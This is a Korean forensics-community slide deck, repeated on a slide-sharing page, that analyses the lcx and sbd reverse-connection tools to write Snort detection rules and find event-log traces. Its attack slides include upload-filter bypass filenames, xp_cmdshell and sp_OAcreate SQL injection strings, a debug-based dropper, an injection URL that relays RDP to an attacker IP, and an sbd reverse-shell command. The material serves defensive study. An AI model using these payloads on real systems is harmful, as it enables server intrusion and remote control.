FORENSIC INSIGHT;
DIGITAL FORENSICS COMMUNITY IN KOREA
Reverse Connection Tool Analysis
How to write detection pattern of attacker’s tool
malwarel4b
demantos@gmail.com
http://malwarel4b.blogspot.kr
http://malwarelab.tistory.com/
Cho Hoon
forensicinsight.org Page 2
INDEX
1. Attack Scenario
2. Attack Demonstration
3. Analyze lcx(aka htran) traffic
4. Analyze sbd(Shadowinteger’s Backdoor) traffic
5. Event Log
6. Reference
forensicinsight.org Page 3
Attack Scenario
- Upload Vulnerability
- SQL Injection
- EXE TO TEXT
forensicinsight.org Page 4
Attack Scenario
 어떤걸 업로드하는가?
• Webshell (asp, aspx, jsp, php, inc, html, cer 등)
• bat, exe 등
 업로드 되는 파일에 대한 검증 매카니즘
• Whitelist : 허용된 확장자만 업로드 가능
• Blacklist : 허용되지 않은 확장자 지정
• 웹쉘 확장자는 몇 가지 형태로 정해져 있으며 보통 Blacklist를 사용하여 차단
 우회 방법 다양함  a.jpg.aps, a.jpg;a.asp, a.php.jpg
 웹쉘을 차단하기 위해서 exe나 bat 확장자는 차단하지 않는 경우가 많음
• 파일의 처음 4~8바이트 정도만 확인해서 차단
 파일 시그니처 (GIF39a, JFIF, %PNG 등)
Upload Vulnerability
forensicinsight.org Page 5
Attack Scenario
 파일 업로드 후에는?
• 업로드 경로 찾아야 함  guessing, File download 취약점 이용
 업로드 폴더에 실행 권한이 제거되어 있는 경우에는?
Upload Vulnerability
forensicinsight.org Page 6
Attack Scenario
 But, 업로드 취약점만으로는 부족하다!!
• 원하는 파일 업로드도 잘 되었고
• 업로드된 파일의 경로도 찾았고
• 그럼, 실행만 시키면 된다.
 웹서버를 통해 서버의 파일을 서버상에서 실행시킬려면?
• 웹쉘을 이용하는게 가장 쉽고
• SQL Injection을 이용한다.
Upload Vulnerability
forensicinsight.org Page 7
Attack Scenario
 전세계적으로 가장 많이 언급되고 전세계적으로 가장 많이 보호 메커니즘을 적용하지만
여전히 취약한 사이트가 많아서 공격자들이 자주 애용하는 공격 기법
 SQL Injection을 통해 시스템 명령 실행
• xp_cmdshell
 MS-SQL 2005부터는 기본으로 비홗성화  그렇다고 포기할 HACKER들이 아니다!!
 SP_ADDEXTENDEDPROC과 SP_CONFIGURE 프로시저를 통해 홗성화 가능
• SP_Oacreate, SP_OAMETHOD
 OLE 개체의 인스턴스 생성
 OLE 개체의 메쏘드 호출
SQL Injection
forensicinsight.org Page 8
Attack Scenario
 xp_cmdshell 홗성화
• ; exec sp_configure 'show advanced options', 1 ; reconfigure ; exec sp_configure 'xp_cmdshell',
1 ; reconfigure;--
• ; exec master.dbo.xp_cmdshell 'system command';--
• xp_cmdshell 자체를 비홗성화하거나 삭제할 경우
 http://support.microsoft.com/kb/891984/en-us
 SP_OAcreate, SP_OAMETHOD
• xp_cmdshell에 대한 권한이 막혀 있거나 아예 삭제된 경우
• ;DECLARE @o INT EXEC SP_OAcreate 'wscript.shell',@o OUT EXEC SP_OAMETHOD
@o,'run',null, 'system command';--
SQL Injection
forensicinsight.org Page 9
Attack Scenario
 업로드 파일에 대한 whitelist 정책을 사용해서 파일 업로드가 앆되면?
 But, SQL Injection은 된다면?
• EXE TO TEXT를 이용해서 바이너리 파일을 텍스트 형태로 만들어서 생성하거나
• Batch 파일에 공격자가 준비한 FTP를 통해 파일을 다운로드해서 실행하게 하면 된다.
EXE TO TEXT
forensicinsight.org Page 10
Attack Scenario
 But, EXE TO TEXT를 통해 추출한 값을 SQL Injection으로 만드는 건 쉬운 일이 아니다.
• lcx.exe (32Kbyte)를 EXE TO TEXT로 변홖하니 2056 라인으로 변홖됨
• 즉, SQL Injection을 2056번 때려야 함  힘들고 지겨움
• 결국, Batch 파일 만들어서 다운로드하게 하는게 속 편함
 변홖된 값은 임시 파일로 만든 후 debug 명령을 통해서 실행 파일로 변홖
EXE TO TEXT
echo off
echo n Ashiyane > Q7X
echo e 100 4D 5A 90 0 3 0 0 0 4 0 0 0 FF FF 0 0 >> Q7X
echo e 110 B8 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 >> Q7X
...snip...
echo e 80F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> Q7X
echo e 8100 0 >> Q7X
echo rcx >> Q7X
echo 8000 >> Q7X
echo w >> Q7X
echo q >> Q7X
debug <Q7X>nul & ren Ashiyane lcx.exe & lcx.exe & echo on
forensicinsight.org Page 11
Attack Demonstration
forensicinsight.org Page 12
Attack Demonstration
Attacker Side
http://victim.com/board_view.asp?num=33;exec master.dbo.xp_cmdshell
'c:inetpubwwwrootuploadlcx.exe -slave 20.20.20.61 4444 127.0.0.1 3389';--
forensicinsight.org Page 13
Attack Demonstration
Connect Attacker’s another port
forensicinsight.org Page 14
Analyze lcx(aka htran) traffic
- Attack Flow
- Analyze Network Packet
- Writing Detect Pattern
forensicinsight.org Page 15
Analyze lcx(aka htran) traffic
Attack Flow
attacker> lcx -listen 4444 5555
victim> lcx -slave 10.10.10.62 4444 127.0.0.1 3389
attacker> mstsc 127.0.0.1:5555
forensicinsight.org Page 16
Analyze lcx(aka htran) traffic
 공격자가 mstsc를 이용해 자신의 5555 포트로 접속하면 공격 대상의 원격 터미널과 연
결이 맺어진다.
Analyze Network Packet
forensicinsight.org Page 17
Analyze lcx(aka htran) traffic
 공격자가 LISTEN Port를 3389로 지정할 경우 Wireshark에서 Port 번호를 보고 페이로
드를 파싱해서 출력해준다.
Analyze Network Packet
forensicinsight.org Page 18
Analyze lcx(aka htran) traffic
 정상적인 원격 데스크탑 연결
Analyze Network Packet
forensicinsight.org Page 19
Analyze lcx(aka htran) traffic
Analyze Network Packet
lcx Reverse Connection
- Window Size : 65535
- attacker:3389  victim:{random port}
Normal RDP Connection
- Window Size : 8192
- attacker:{random port}  victim:3389
forensicinsight.org Page 20
Analyze lcx(aka htran) traffic
 정상접속과 lcx를 이용한 Reverse Connection의 차이점
• TCP Window size가 일반적인 접속과 다르다. (Window size=65535)
• Payload는 같지만 SRC Port와 DST Port가 뒤집어져 있다.
 운영체제별 TTL 값과 TCP Window size
Analyze Network Packet
Operating System (OS) IP Initial TTL TCP window size
Linux (Kernel 2.4 and 2.6) 64 5840
Google’s customized Linux 64 5720
FreeBSD 64 65535
Windows XP 128 65535 -> ?????
Windows 7, Vista and Server 2008 128 8192
Cisco Router (IOS 12.4) 255 4128
<출처> http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
forensicinsight.org Page 21
Analyze lcx(aka htran) traffic
 실제 테스트해보니 Windows XP의 TCP Window size가 64240이었다.
Analyze Network Packet
XP -> Linux
XP -> Win 2003
7 -> Linux
7 -> Win 2003
Win 2003 -> Linux
Win 2003 -> Win 2003
forensicinsight.org Page 22
Analyze lcx(aka htran) traffic
 만약 공격자가 Windows 2003 서버를 자신의 PC에 설치해서 사용한다면?
 만약 공격자가 장악한 또 다른 Windows 2003 서버에서 공격하는 것이라면?
• TCP Windows size로 탐지하는 것은 의미가 없다.
 패킷의 페이로드만으로는 탐지가 불가능하다.
• Port 번호와 Flow만 다를 뿐 정상적인 TPKT, RDP 통신과 페이로드가 동일하기 때문
 그럼 어떻게? How?
• 여러 가지 조건을 두고 만족하는 경우 탐지하게끔 패턴을 작성  SNORT
Writing Detect Pattern
forensicinsight.org Page 23
Analyze lcx(aka htran) traffic
 lcx Reverse Connection을 탐지하기 위한 조건
• 내부 -> 외부 SYN 패킷의 Window size가 65535인 경우 (A)
• 외부 -> 내부 트래픽 중 TPKT 패킷에서 DST Port가 3389가 아닌 경우 (B)
 위 두 조건이 순서대로 모두 만족할 때 탐지하면 된다.
 Q. TPKT 패킷인데 DST Port가 3389가 아닌 경우가 정상일 수 있을까?
Writing Detect Pattern
forensicinsight.org Page 24
Analyze sbd(Shadowinteger’s Backdoor) traffic
- Attack Flow
- Analyze Network Packet
- Dig into Source Code
- Writing Detect Pattern
forensicinsight.org Page 25
Analyze sbd(Shadowinteger’s Backdoor) traffic
 sbd는 netcat의 클론으로 기본으로 암호화 기능을 제공한다.
• 그리고 소스도 공개되어 있다.
 http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html
 그렇다면, Packet을 분석해서 탐지 패턴을 작성할 수 있는가?
• 작성된 패턴이 오탐 없이 의미 있는 일을 수행할 수 있는가?
• sbd를 통해 Reverse Connection 연결시 특징은 졲재하는가?
 다른 네트워크 연결들과 다른 sbd만 갖는 특징이 있다면 오탐을 최소한으로 줄이고 탐지하는 것
이 가능하다.
Attack Flow
attacker> sbd -l -v -p 6666
victim> sbd -e cmd.exe attacker 6666
forensicinsight.org Page 26
 Reverse Connection Traffic with sbd
Analyze sbd(Shadowinteger’s Backdoor) traffic
Analyze Network Packet
forensicinsight.org Page 27
Analyze sbd(Shadowinteger’s Backdoor) traffic
 암호화 옵션을 제거하고 연결을 맺으면
Analyze Network Packet
forensicinsight.org Page 28
Analyze sbd(Shadowinteger’s Backdoor) traffic
 sbd로 Reverse Connection을 맺을 경우에도 특징이 졲재했다.
 대략 20번 정도 테스트했고 Windows에서만 테스트 했다.
 Victim이 리눅스인 경우 위 Flow 중 4,5번째는 없다.
• 윈도우에서는 cmd.exe 실행시 나타나는 배너가 졲재하지만 /bin/bash로 reverse connection을
할 경우 배너 메시지가 없기 때문임
Analyze Network Packet
forensicinsight.org Page 29
Analyze sbd(Shadowinteger’s Backdoor) traffic
 소스코드를 확인해보면 pel.c 파일에 최초 연결시 클라이언트(Victim)에서 IV(Initial
Vector)를 생성해서 전송하는데 이때 전송되는 데이터의 크기가 40bytes이다.
Dig into Source Code
forensicinsight.org Page 30
Analyze sbd(Shadowinteger’s Backdoor) traffic
 서버(Attacker)는 클라이언트에게서 전송된 40bytes의 Initial Vector를 수신해서
Session Key를 설정한다.
 공격자가 소스코드를 수정하지 않는 이상 전송되는 40bytes를 탐지 조건으로 사용 가능
Dig into Source Code
forensicinsight.org Page 31
Analyze sbd(Shadowinteger’s Backdoor) traffic
 세션키 교홖 후 클라이언트와 서버는 Handshake 과정을 통해 연결을 맺는다.
Dig into Source Code
pel_client_init
pel_server_init
forensicinsight.org Page 32
Analyze sbd(Shadowinteger’s Backdoor) traffic
 각각 52bytes씩 주고 받으며 16바이트 연산 후 나머지 데이터를 연산해서 전송
Dig into Source Code
forensicinsight.org Page 33
Analyze sbd(Shadowinteger’s Backdoor) traffic
 sbd는 기본적으로 암호화 통신을 제공하며 공격자 입장에서는 상당히 매력적인 기능이
기 때문에 굳이 암호화 기능을 해제하고 사용하지 않을 것이다.
• 즉, 암호화되기 때문에 Payload로 탐지하는 것은 불가능
 sbd의 가장 큰 특징은
• 3way Handshake 이후 클라이언트(Victim)에서 서버(Attacker)로 40byte의 데이터를 젂송
• 클라이언트에서 서버로 52byte 데이터 젂송
• 서버에서 클라이언트로 52byte 데이터 젂송
Writing Detect Pattern
forensicinsight.org Page 34
Analyze sbd(Shadowinteger’s Backdoor) traffic
 sbd Reverse Connection을 탐지하기 위한 조건
• 3가지 조건이 순차적으로 매칭될 경우에만 탐지하도록 패턴 작성
 SNORT flowbits 옵션 사용
Writing Detect Pattern
forensicinsight.org Page 35
Event Log
forensicinsight.org Page 36
Event Log
 침해사고조사 관점에서 볼 경우
• lcx나 sbd 파일의 생성 시간과 웹로그 등을 확인해서 파일이 어떤 경로를 통해 업로드 또는 생성
되었는지는 확인이 가능하지만 언제 접속(Reverse Connection) 했었는지 파일만 가지고는 확인
이 불가능하다.
• lcx의 경우 원격 터미널 접속을 하기 때문에 이벤트 로그에 흔적이 남는다.
• sbd는 cmd.exe만 실행해서 Reverse Connection을 맺기 때문에 흔적이 남지 않는다.
• UserAssist나 Prefetch(App Prefetch가 설정되어 있다면)와 같은 정보를 통해 실행된 횟수나 실행
된 시간을 짐작할 수도 있다.
forensicinsight.org Page 37
Event Log
 lcx를 통해 Reverse Connection을 맺을 경우
• 680 : Account Used for Logon by
• 552 : 이미 다른 사용자가 로그온한 상태에서 명시적 자격 증명을 사용해서 로그온 시도
• 528 : 로그온 성공
• 576 : 권한 부여
• 682 : 세션 재연결
• Event ID 552나 682의 경우 기졲에 연결했던 사용자가 로그오프 하지 않고 세션만 끊은 상태에
서 접속할 경우 발생되는 이벤트 로그로 실제 발생하지 않을 수도 있다.
forensicinsight.org Page 38
Event Log
 Event ID 528은 로그온 성공 메시지로 로그온 유형과 원본 네트워크 주소를 확인할 수
있다.
• 로그온 유형 10은 원격으로 대화형 모드로 로그온하는 것을 의미한다. (RemoteInteractive)
• 원격에서 로그온하는데 원본네트워크주소가 로컬호스트(127.0.0.1)인 것은 이상하다.
 원본네트워크주소가 127.0.0.1이라면 로그온 유형이 2이어야 한다.
forensicinsight.org Page 39
Event Log
 세션을 끊거나 재연결시 발생되는 이벤트 로그에는 클라이언트 이름과 클라이언트 주소
가 남는다.
 공격자가 원격 터미널 접근시 mstsc 127.0.0.1:5555와 같은 형태가 아닌 공격자 자신의
실제 IP를 사용하더라도 이벤트 로그에는 클라이언트 주소가 127.0.0.1로 로깅된다.
forensicinsight.org Page 40
Reference
 Passive OS Fingerprinting
• http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
 HTran(HUC Packet Transmit Tool)
• http://code.google.com/p/archive-code/source/browse/trunk/HTran/HTran.cpp?r=7
 Window size 개념
• http://4network.tistory.com/entry/windowsize
 Permanent Reverse Backdoor for IPhone / IPad
• http://www.coresec.org/2012/04/24/permanent-reverse-backdoor-for-iphone-ipad/
 sbd-1.36.tar.gz
• http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html
forensicinsight.org Page 41
Question and Answer

More Related Content

DOCX
BIG DATA-Seminar Report
PDF
Access Control: Principles and Practice
PDF
An introduction to cyber forensics and open source tools in cyber forensics
PPTX
Anti forensic
PPT
Computer forensics
PDF
6 Scope & 7 Live Data Collection
PDF
IoT security and privacy: main challenges and how ISOC-OTA address them
PDF
Computer Forensics Working with Windows and DOS Systems
BIG DATA-Seminar Report
Access Control: Principles and Practice
An introduction to cyber forensics and open source tools in cyber forensics
Anti forensic
Computer forensics
6 Scope & 7 Live Data Collection
IoT security and privacy: main challenges and how ISOC-OTA address them
Computer Forensics Working with Windows and DOS Systems

What's hot (20)

PDF
Stegano Forensics
PPTX
Privacy and security in IoT
PPTX
08. networking
PPTX
Big Data and Security - Where are we now? (2015)
PDF
Introduction to Cloud computing
PPTX
Case study on Physical devices used in Computer forensics.
PDF
Corso di Informatica forense: dall'informatica giuridica all'informatica forense
PPT
Intrusion Detection System
PPT
Linux forensics
PDF
The ECP Exascale Computing Project
DOCX
Security and Privacy considerations in Internet of Things
PDF
01 Computer Forensics Fundamentals - Notes
PPTX
Data center
PPSX
Pervasive Computing - Let us Pervade our Future
PPTX
Cloud-Based Big Data Analytics
PPT
Keyloggers and Spywares
PDF
Digital forensic upload
PPTX
Watson IOT Platform
PDF
Computer Forensic
PPTX
Reconnaissance Tools and Techniques: A Comprehensive Guide to Information Gat...
Stegano Forensics
Privacy and security in IoT
08. networking
Big Data and Security - Where are we now? (2015)
Introduction to Cloud computing
Case study on Physical devices used in Computer forensics.
Corso di Informatica forense: dall'informatica giuridica all'informatica forense
Intrusion Detection System
Linux forensics
The ECP Exascale Computing Project
Security and Privacy considerations in Internet of Things
01 Computer Forensics Fundamentals - Notes
Data center
Pervasive Computing - Let us Pervade our Future
Cloud-Based Big Data Analytics
Keyloggers and Spywares
Digital forensic upload
Watson IOT Platform
Computer Forensic
Reconnaissance Tools and Techniques: A Comprehensive Guide to Information Gat...
Ad

Similar to (130216) #fitalk reverse connection tool analysis (20)

PDF
(130511) #fitalk utilization of ioc, ioaf and sig base
PDF
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
PDF
(140407) #fitalk d trace를 이용한 악성코드 동적 분석
PDF
[NDC07] 게임 개발에서의 클라이언트 보안 - 송창규
PDF
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
PDF
도커(Docker) 메트릭스 & 로그 수집
PDF
(160820) #fitalk fileless malware forensics
PDF
(Fios#03) 1. 실전 윈도 악성코드 메모리 분석
PDF
Hyperledger fabric practice(pdf)
PDF
2. klaytn developer meetup #2 univ chain
PDF
(Fios#03) 4. 파워셸 포렌식 조사 기법
PDF
3. 악성코드 분석 사례
PDF
KAFKA 3.1.0.pdf
PDF
Block chain bidding_System
PPTX
PPTX
dddd
PDF
(111217) #fitalk rootkit tools and debugger
PDF
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
PDF
Blockchain 4th dapp programming
PPTX
개발사는 모르는 퍼블리셔의 뒷 이야기
(130511) #fitalk utilization of ioc, ioaf and sig base
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
(140407) #fitalk d trace를 이용한 악성코드 동적 분석
[NDC07] 게임 개발에서의 클라이언트 보안 - 송창규
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
도커(Docker) 메트릭스 & 로그 수집
(160820) #fitalk fileless malware forensics
(Fios#03) 1. 실전 윈도 악성코드 메모리 분석
Hyperledger fabric practice(pdf)
2. klaytn developer meetup #2 univ chain
(Fios#03) 4. 파워셸 포렌식 조사 기법
3. 악성코드 분석 사례
KAFKA 3.1.0.pdf
Block chain bidding_System
dddd
(111217) #fitalk rootkit tools and debugger
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
Blockchain 4th dapp programming
개발사는 모르는 퍼블리셔의 뒷 이야기
Ad

More from INSIGHT FORENSIC (20)

PDF
(150124) #fitalk advanced $usn jrnl forensics (korean)
PDF
(150124) #fitalk advanced $usn jrnl forensics (english)
PDF
(140118) #fitalk detection of anti-forensics artifacts using ioa fs
PDF
(140118) #fitalk 2013 e-discovery trend
PDF
(141031) #fitalk plaso 슈퍼 타임라인 분석 도구 활용 방안
PDF
(141031) #fitalk os x yosemite artifacts
PDF
(140716) #fitalk 전자금융사고에서의 디지털 포렌식
PDF
(140716) #fitalk digital evidence from android-based smartwatch
PDF
(140625) #fitalk sq lite 소개와 구조 분석
PDF
(140625) #fitalk sq lite 삭제된 레코드 복구 기법
PDF
(130216) #fitalk potentially malicious ur ls
PDF
(130202) #fitalk trends in d forensics (jan, 2013)
PDF
(130202) #fitalk china threat
PDF
(130119) #fitalk sql server forensics
PDF
(130119) #fitalk apt, cyber espionage threat
PDF
(130119) #fitalk all about physical data recovery
PDF
(130105) #fitalk trends in d forensics (dec, 2012)
PDF
(130105) #fitalk criminal civil judicial procedure in korea
PDF
(131116) #fitalk extracting user typing history on bash in mac os x memory
PDF
(131102) #fitalk get windows logon password in memory dump
(150124) #fitalk advanced $usn jrnl forensics (korean)
(150124) #fitalk advanced $usn jrnl forensics (english)
(140118) #fitalk detection of anti-forensics artifacts using ioa fs
(140118) #fitalk 2013 e-discovery trend
(141031) #fitalk plaso 슈퍼 타임라인 분석 도구 활용 방안
(141031) #fitalk os x yosemite artifacts
(140716) #fitalk 전자금융사고에서의 디지털 포렌식
(140716) #fitalk digital evidence from android-based smartwatch
(140625) #fitalk sq lite 소개와 구조 분석
(140625) #fitalk sq lite 삭제된 레코드 복구 기법
(130216) #fitalk potentially malicious ur ls
(130202) #fitalk trends in d forensics (jan, 2013)
(130202) #fitalk china threat
(130119) #fitalk sql server forensics
(130119) #fitalk apt, cyber espionage threat
(130119) #fitalk all about physical data recovery
(130105) #fitalk trends in d forensics (dec, 2012)
(130105) #fitalk criminal civil judicial procedure in korea
(131116) #fitalk extracting user typing history on bash in mac os x memory
(131102) #fitalk get windows logon password in memory dump

(130216) #fitalk reverse connection tool analysis

  • 1. FORENSIC INSIGHT; DIGITAL FORENSICS COMMUNITY IN KOREA Reverse Connection Tool Analysis How to write detection pattern of attacker’s tool malwarel4b demantos@gmail.com http://malwarel4b.blogspot.kr http://malwarelab.tistory.com/ Cho Hoon
  • 2. forensicinsight.org Page 2 INDEX 1. Attack Scenario 2. Attack Demonstration 3. Analyze lcx(aka htran) traffic 4. Analyze sbd(Shadowinteger’s Backdoor) traffic 5. Event Log 6. Reference
  • 3. forensicinsight.org Page 3 Attack Scenario - Upload Vulnerability - SQL Injection - EXE TO TEXT
  • 4. forensicinsight.org Page 4 Attack Scenario  어떤걸 업로드하는가? • Webshell (asp, aspx, jsp, php, inc, html, cer 등) • bat, exe 등  업로드 되는 파일에 대한 검증 매카니즘 • Whitelist : 허용된 확장자만 업로드 가능 • Blacklist : 허용되지 않은 확장자 지정 • 웹쉘 확장자는 몇 가지 형태로 정해져 있으며 보통 Blacklist를 사용하여 차단  우회 방법 다양함  a.jpg.aps, a.jpg;a.asp, a.php.jpg  웹쉘을 차단하기 위해서 exe나 bat 확장자는 차단하지 않는 경우가 많음 • 파일의 처음 4~8바이트 정도만 확인해서 차단  파일 시그니처 (GIF39a, JFIF, %PNG 등) Upload Vulnerability
  • 5. forensicinsight.org Page 5 Attack Scenario  파일 업로드 후에는? • 업로드 경로 찾아야 함  guessing, File download 취약점 이용  업로드 폴더에 실행 권한이 제거되어 있는 경우에는? Upload Vulnerability
  • 6. forensicinsight.org Page 6 Attack Scenario  But, 업로드 취약점만으로는 부족하다!! • 원하는 파일 업로드도 잘 되었고 • 업로드된 파일의 경로도 찾았고 • 그럼, 실행만 시키면 된다.  웹서버를 통해 서버의 파일을 서버상에서 실행시킬려면? • 웹쉘을 이용하는게 가장 쉽고 • SQL Injection을 이용한다. Upload Vulnerability
  • 7. forensicinsight.org Page 7 Attack Scenario  전세계적으로 가장 많이 언급되고 전세계적으로 가장 많이 보호 메커니즘을 적용하지만 여전히 취약한 사이트가 많아서 공격자들이 자주 애용하는 공격 기법  SQL Injection을 통해 시스템 명령 실행 • xp_cmdshell  MS-SQL 2005부터는 기본으로 비홗성화  그렇다고 포기할 HACKER들이 아니다!!  SP_ADDEXTENDEDPROC과 SP_CONFIGURE 프로시저를 통해 홗성화 가능 • SP_Oacreate, SP_OAMETHOD  OLE 개체의 인스턴스 생성  OLE 개체의 메쏘드 호출 SQL Injection
  • 8. forensicinsight.org Page 8 Attack Scenario  xp_cmdshell 홗성화 • ; exec sp_configure 'show advanced options', 1 ; reconfigure ; exec sp_configure 'xp_cmdshell', 1 ; reconfigure;-- • ; exec master.dbo.xp_cmdshell 'system command';-- • xp_cmdshell 자체를 비홗성화하거나 삭제할 경우  http://support.microsoft.com/kb/891984/en-us  SP_OAcreate, SP_OAMETHOD • xp_cmdshell에 대한 권한이 막혀 있거나 아예 삭제된 경우 • ;DECLARE @o INT EXEC SP_OAcreate 'wscript.shell',@o OUT EXEC SP_OAMETHOD @o,'run',null, 'system command';-- SQL Injection
  • 9. forensicinsight.org Page 9 Attack Scenario  업로드 파일에 대한 whitelist 정책을 사용해서 파일 업로드가 앆되면?  But, SQL Injection은 된다면? • EXE TO TEXT를 이용해서 바이너리 파일을 텍스트 형태로 만들어서 생성하거나 • Batch 파일에 공격자가 준비한 FTP를 통해 파일을 다운로드해서 실행하게 하면 된다. EXE TO TEXT
  • 10. forensicinsight.org Page 10 Attack Scenario  But, EXE TO TEXT를 통해 추출한 값을 SQL Injection으로 만드는 건 쉬운 일이 아니다. • lcx.exe (32Kbyte)를 EXE TO TEXT로 변홖하니 2056 라인으로 변홖됨 • 즉, SQL Injection을 2056번 때려야 함  힘들고 지겨움 • 결국, Batch 파일 만들어서 다운로드하게 하는게 속 편함  변홖된 값은 임시 파일로 만든 후 debug 명령을 통해서 실행 파일로 변홖 EXE TO TEXT echo off echo n Ashiyane > Q7X echo e 100 4D 5A 90 0 3 0 0 0 4 0 0 0 FF FF 0 0 >> Q7X echo e 110 B8 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 >> Q7X ...snip... echo e 80F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> Q7X echo e 8100 0 >> Q7X echo rcx >> Q7X echo 8000 >> Q7X echo w >> Q7X echo q >> Q7X debug <Q7X>nul & ren Ashiyane lcx.exe & lcx.exe & echo on
  • 12. forensicinsight.org Page 12 Attack Demonstration Attacker Side http://victim.com/board_view.asp?num=33;exec master.dbo.xp_cmdshell 'c:inetpubwwwrootuploadlcx.exe -slave 20.20.20.61 4444 127.0.0.1 3389';--
  • 13. forensicinsight.org Page 13 Attack Demonstration Connect Attacker’s another port
  • 14. forensicinsight.org Page 14 Analyze lcx(aka htran) traffic - Attack Flow - Analyze Network Packet - Writing Detect Pattern
  • 15. forensicinsight.org Page 15 Analyze lcx(aka htran) traffic Attack Flow attacker> lcx -listen 4444 5555 victim> lcx -slave 10.10.10.62 4444 127.0.0.1 3389 attacker> mstsc 127.0.0.1:5555
  • 16. forensicinsight.org Page 16 Analyze lcx(aka htran) traffic  공격자가 mstsc를 이용해 자신의 5555 포트로 접속하면 공격 대상의 원격 터미널과 연 결이 맺어진다. Analyze Network Packet
  • 17. forensicinsight.org Page 17 Analyze lcx(aka htran) traffic  공격자가 LISTEN Port를 3389로 지정할 경우 Wireshark에서 Port 번호를 보고 페이로 드를 파싱해서 출력해준다. Analyze Network Packet
  • 18. forensicinsight.org Page 18 Analyze lcx(aka htran) traffic  정상적인 원격 데스크탑 연결 Analyze Network Packet
  • 19. forensicinsight.org Page 19 Analyze lcx(aka htran) traffic Analyze Network Packet lcx Reverse Connection - Window Size : 65535 - attacker:3389  victim:{random port} Normal RDP Connection - Window Size : 8192 - attacker:{random port}  victim:3389
  • 20. forensicinsight.org Page 20 Analyze lcx(aka htran) traffic  정상접속과 lcx를 이용한 Reverse Connection의 차이점 • TCP Window size가 일반적인 접속과 다르다. (Window size=65535) • Payload는 같지만 SRC Port와 DST Port가 뒤집어져 있다.  운영체제별 TTL 값과 TCP Window size Analyze Network Packet Operating System (OS) IP Initial TTL TCP window size Linux (Kernel 2.4 and 2.6) 64 5840 Google’s customized Linux 64 5720 FreeBSD 64 65535 Windows XP 128 65535 -> ????? Windows 7, Vista and Server 2008 128 8192 Cisco Router (IOS 12.4) 255 4128 <출처> http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
  • 21. forensicinsight.org Page 21 Analyze lcx(aka htran) traffic  실제 테스트해보니 Windows XP의 TCP Window size가 64240이었다. Analyze Network Packet XP -> Linux XP -> Win 2003 7 -> Linux 7 -> Win 2003 Win 2003 -> Linux Win 2003 -> Win 2003
  • 22. forensicinsight.org Page 22 Analyze lcx(aka htran) traffic  만약 공격자가 Windows 2003 서버를 자신의 PC에 설치해서 사용한다면?  만약 공격자가 장악한 또 다른 Windows 2003 서버에서 공격하는 것이라면? • TCP Windows size로 탐지하는 것은 의미가 없다.  패킷의 페이로드만으로는 탐지가 불가능하다. • Port 번호와 Flow만 다를 뿐 정상적인 TPKT, RDP 통신과 페이로드가 동일하기 때문  그럼 어떻게? How? • 여러 가지 조건을 두고 만족하는 경우 탐지하게끔 패턴을 작성  SNORT Writing Detect Pattern
  • 23. forensicinsight.org Page 23 Analyze lcx(aka htran) traffic  lcx Reverse Connection을 탐지하기 위한 조건 • 내부 -> 외부 SYN 패킷의 Window size가 65535인 경우 (A) • 외부 -> 내부 트래픽 중 TPKT 패킷에서 DST Port가 3389가 아닌 경우 (B)  위 두 조건이 순서대로 모두 만족할 때 탐지하면 된다.  Q. TPKT 패킷인데 DST Port가 3389가 아닌 경우가 정상일 수 있을까? Writing Detect Pattern
  • 24. forensicinsight.org Page 24 Analyze sbd(Shadowinteger’s Backdoor) traffic - Attack Flow - Analyze Network Packet - Dig into Source Code - Writing Detect Pattern
  • 25. forensicinsight.org Page 25 Analyze sbd(Shadowinteger’s Backdoor) traffic  sbd는 netcat의 클론으로 기본으로 암호화 기능을 제공한다. • 그리고 소스도 공개되어 있다.  http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html  그렇다면, Packet을 분석해서 탐지 패턴을 작성할 수 있는가? • 작성된 패턴이 오탐 없이 의미 있는 일을 수행할 수 있는가? • sbd를 통해 Reverse Connection 연결시 특징은 졲재하는가?  다른 네트워크 연결들과 다른 sbd만 갖는 특징이 있다면 오탐을 최소한으로 줄이고 탐지하는 것 이 가능하다. Attack Flow attacker> sbd -l -v -p 6666 victim> sbd -e cmd.exe attacker 6666
  • 26. forensicinsight.org Page 26  Reverse Connection Traffic with sbd Analyze sbd(Shadowinteger’s Backdoor) traffic Analyze Network Packet
  • 27. forensicinsight.org Page 27 Analyze sbd(Shadowinteger’s Backdoor) traffic  암호화 옵션을 제거하고 연결을 맺으면 Analyze Network Packet
  • 28. forensicinsight.org Page 28 Analyze sbd(Shadowinteger’s Backdoor) traffic  sbd로 Reverse Connection을 맺을 경우에도 특징이 졲재했다.  대략 20번 정도 테스트했고 Windows에서만 테스트 했다.  Victim이 리눅스인 경우 위 Flow 중 4,5번째는 없다. • 윈도우에서는 cmd.exe 실행시 나타나는 배너가 졲재하지만 /bin/bash로 reverse connection을 할 경우 배너 메시지가 없기 때문임 Analyze Network Packet
  • 29. forensicinsight.org Page 29 Analyze sbd(Shadowinteger’s Backdoor) traffic  소스코드를 확인해보면 pel.c 파일에 최초 연결시 클라이언트(Victim)에서 IV(Initial Vector)를 생성해서 전송하는데 이때 전송되는 데이터의 크기가 40bytes이다. Dig into Source Code
